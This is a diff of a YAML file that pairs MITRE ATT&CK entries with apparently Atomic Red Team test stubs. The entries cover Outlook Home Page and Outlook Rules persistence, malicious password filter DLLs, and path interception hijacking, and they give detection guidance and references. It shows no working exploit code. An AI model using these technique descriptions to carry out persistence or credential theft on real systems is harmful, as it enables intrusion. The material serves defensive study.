+      id: attack-pattern--bf147104-abf9-4221-95d1-e81585859441
       description: |
         Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)
 
         Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
-      id: attack-pattern--bf147104-abf9-4221-95d1-e81585859441
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-03-26T17:35:51.656Z'
-      created: '2019-11-07T20:09:56.536Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
 
         Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Application Log: Application Log Content'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/004
+        external_id: T1137.004
+        source_name: mitre-attack
+      - url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
+        description: Stalmans, E. (2017, October 11). Outlook Home Page – Another
+          Ruler Vector. Retrieved February 4, 2019.
+        source_name: SensePost Outlook Home Page
+      - url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
+        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
+          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
+          4, 2019.
+        source_name: Microsoft Detect Outlook Forms
+      - url: https://github.com/sensepost/notruler
+        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
+          provides blue teams with the ability to detect Ruler usage against Exchange.
+          Retrieved February 4, 2019.
+        source_name: SensePost NotRuler
       identifier: T1137.004
     atomic_tests:
     - name: Install Outlook Home Page Persistence
@@ -48099,74 +49612,89 @@ persistence:
 '
   T1137.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.005
-        url: https://attack.mitre.org/techniques/T1137/005
-      - source_name: SilentBreak Outlook Rules
-        url: https://silentbreaksecurity.com/malicious-outlook-rules/
-        description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved
-          February 4, 2019.
-      - source_name: Microsoft Detect Outlook Forms
-        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
-        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
-          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
-          4, 2019.
-      - source_name: SensePost NotRuler
-        url: https://github.com/sensepost/notruler
-        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
-          provides blue teams with the ability to detect Ruler usage against Exchange.
-          Retrieved February 4, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Outlook Rules
-      description: |-
-        Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
-
-        Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
-      id: attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-26T17:36:15.923Z'
-      created: '2019-11-07T20:00:25.560Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_detection: |-
-        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
-
-        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
+      name: Outlook Rules
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Application Log: Application Log Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T20:18:30.700Z'
+      created: '2019-11-07T20:00:25.560Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44
       x_mitre_platforms:
       - Windows
       - Office 365
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
+
+        Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
+      x_mitre_contributors:
+      - Microsoft Security
+      x_mitre_detection: |-
+        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
+
+        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/005
+        external_id: T1137.005
+        source_name: mitre-attack
+      - url: https://silentbreaksecurity.com/malicious-outlook-rules/
+        description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved
+          February 4, 2019.
+        source_name: SilentBreak Outlook Rules
+      - url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
+        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
+          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
+          4, 2019.
+        source_name: Microsoft Detect Outlook Forms
+      - url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
+        description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in
+          Microsoft Exchange. Retrieved October 12, 2021.
+        source_name: Pfammatter - Hidden Inbox Rules
+      - url: https://github.com/sensepost/notruler
+        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
+          provides blue teams with the ability to detect Ruler usage against Exchange.
+          Retrieved February 4, 2019.
+        source_name: SensePost NotRuler
     atomic_tests: []
   T1556.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.002
-        url: https://attack.mitre.org/techniques/T1556/002
-      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
-        description: Fuller, R. (2013, September 11). Stealing passwords every time
-          they change. Retrieved November 21, 2017.
-        source_name: Carnal Ownage Password Filters Sept 2013
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Password Filter DLL
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:55.147Z'
+      created: '2020-02-11T19:05:45.829Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may register malicious password filter dynamic link
         libraries (DLLs) into the authentication process to acquire user credentials
         as they are validated. \n\nWindows password filters are password policy enforcement
@@ -48182,34 +49710,25 @@ persistence:
         receive plain-text credentials from the LSA. A malicious password filter would
         receive these plain-text credentials every time a password request is made.(Citation:
         Carnal Ownage Password Filters Sept 2013)"
-      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-20T20:11:55.147Z'
-      created: '2020-02-11T19:05:45.829Z'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_contributors:
       - Vincent Le Toux
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.
 
         Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/002
+        external_id: T1556.002
+        source_name: mitre-attack
+      - source_name: Carnal Ownage Password Filters Sept 2013
+        description: Fuller, R. (2013, September 11). Stealing passwords every time
+          they change. Retrieved November 21, 2017.
+        url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
       identifier: T1556.002
     atomic_tests:
     - name: Install and Register Password Filter DLL
@@ -48250,9 +49769,28 @@ persistence:
         elevation_required: true
   T1034:
     technique:
-      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Path Interception
+      x_mitre_version: '1.0'
+      modified: '2020-07-06T18:49:35.645Z'
+      created: '2017-05-31T21:30:36.140Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_deprecated: true
+      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
+      revoked: false
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**
 
@@ -48274,69 +49812,12 @@ persistence:
         For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)
 
         Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1034
-        url: https://attack.mitre.org/techniques/T1034
-      - external_id: CAPEC-159
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/159.html
-      - url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
-        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
-          via .cmd or .bat file. Retrieved July 25, 2016.
-        source_name: TechNet MS14-019
-      - url: http://support.microsoft.com/KB/103000
-        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
-          Retrieved November 30, 2014.
-        source_name: Microsoft Subkey
-      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
-        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
-          vulnerabilities. Retrieved December 4, 2014.
-        source_name: Baggett 2012
-      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
-        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
-          Services. Retrieved August 10, 2018.
-        source_name: SecurityBoulevard Unquoted Services APR 2018
-      - url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
-          Guide. Retrieved August 10, 2018.
-        source_name: SploitSpren Windows Priv Jan 2018
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
-        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
-          5, 2014.
-        source_name: Microsoft CreateProcess
-      - url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
-        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
-          5, 2014.
-        source_name: Hill NT Shell
-      - url: http://msdn.microsoft.com/en-us/library/ms687393
-        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
-        source_name: Microsoft WinExec
-      - url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
-        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
-        source_name: MSDN Environment Property
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      revoked: false
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-07-06T18:49:35.645Z'
-      created: '2017-05-31T21:30:36.140Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
       x_mitre_effective_permissions:
       - User
       - Administrator
       - SYSTEM
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: "Monitor file creation for files named after partial directories
         and in locations that may be searched for common processes through the environment
         variable, or otherwise should not be user writable. Monitor the executing
@@ -48349,15 +49830,62 @@ persistence:
         that could lead to other activities, such as network connections made for
         Command and Control, learning details about the environment through Discovery,
         and Lateral Movement."
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_version: '1.0'
-      x_mitre_deprecated: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1034
+        external_id: T1034
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/159.html
+        external_id: CAPEC-159
+        source_name: capec
+      - source_name: TechNet MS14-019
+        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
+          via .cmd or .bat file. Retrieved July 25, 2016.
+        url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
+      - source_name: Microsoft Subkey
+        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
+          Retrieved November 30, 2014.
+        url: http://support.microsoft.com/KB/103000
+      - source_name: Baggett 2012
+        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
+          vulnerabilities. Retrieved December 4, 2014.
+        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
+      - source_name: SecurityBoulevard Unquoted Services APR 2018
+        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
+          Services. Retrieved August 10, 2018.
+        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
+      - source_name: SploitSpren Windows Priv Jan 2018
+        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
+          Guide. Retrieved August 10, 2018.
+        url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+      - source_name: Microsoft CreateProcess
+        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
+          5, 2014.
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - source_name: Hill NT Shell
+        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
+          5, 2014.
+        url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
+      - source_name: Microsoft WinExec
+        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
+        url: http://msdn.microsoft.com/en-us/library/ms687393
+      - source_name: MSDN Environment Property
+        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
+        url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
     atomic_tests: []
   T1574.007:
     technique:
-      created: '2020-03-13T14:10:43.424Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by PATH Environment Variable
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
       modified: '2020-09-16T16:56:34.583Z'
+      created: '2020-03-13T14:10:43.424Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -48365,48 +49893,64 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.007
-        url: https://attack.mitre.org/techniques/T1574/007
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by PATH Environment Variable
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
       description: |-
         Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.
 
         The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
 
         For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
-      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
-      x_mitre_defense_bypassed:
-      - Application control
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/007
+        external_id: T1574.007
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+    atomic_tests: []
+  T1574.008:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by Search Order Hijacking
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
       - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
+      x_mitre_version: '1.0'
+      modified: '2020-09-17T19:03:35.217Z'
+      created: '2020-03-13T17:48:58.999Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
       x_mitre_platforms:
       - Windows
-    atomic_tests: []
-  T1574.008:
-    technique:
-      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      - SYSTEM
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
 
@@ -48415,33 +49959,53 @@ persistence:
         For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)
 
         Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-      name: Path Interception by Search Order Hijacking
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_contributors:
+      - Stefan Kanthak
+      x_mitre_detection: |
+        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
+
+        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1574/008
         external_id: T1574.008
-        url: https://attack.mitre.org/techniques/T1574/008
-      - external_id: CAPEC-159
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/159.html
+        external_id: CAPEC-159
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/159.html
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
+      - source_name: Microsoft CreateProcess
         description: Microsoft. (n.d.). CreateProcess function. Retrieved December
           5, 2014.
-        source_name: Microsoft CreateProcess
-      - source_name: Windows NT Command Shell
-        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
         description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
           December 5, 2014.
-      - url: http://msdn.microsoft.com/en-us/library/ms687393
+        source_name: Windows NT Command Shell
+      - source_name: Microsoft WinExec
         description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
-        source_name: Microsoft WinExec
-      - source_name: Microsoft Environment Property
-        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
+        url: http://msdn.microsoft.com/en-us/library/ms687393
+      - url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
         description: Microsoft. (2011, October 24). Environment Property. Retrieved
           July 27, 2016.
+        source_name: Microsoft Environment Property
+    atomic_tests: []
+  T1574.009:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Path Interception by Unquoted Path
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2020-09-17T19:05:23.755Z'
+      created: '2020-03-13T13:51:58.519Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -48449,91 +50013,46 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-17T19:03:35.217Z'
-      created: '2020-03-13T17:48:58.999Z'
       x_mitre_platforms:
       - Windows
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_detection: |
-        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
-
-        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      - SYSTEM
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-    atomic_tests: []
-  T1574.009:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.009
-        url: https://attack.mitre.org/techniques/T1574/009
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      - source_name: Microsoft CurrentControlSet Services
-        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
-        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
-          Registry Tree. Retrieved March 16, 2020.
-      - source_name: Help eliminate unquoted path
-        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
-        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
-          vulnerabilities. Retrieved November 8, 2012.
-      - source_name: Windows Unquoted Services
-        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
-        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
-          Services. Retrieved August 10, 2018.
-      - source_name: Windows Privilege Escalation Guide
-        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
-          Retrieved August 10, 2018.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
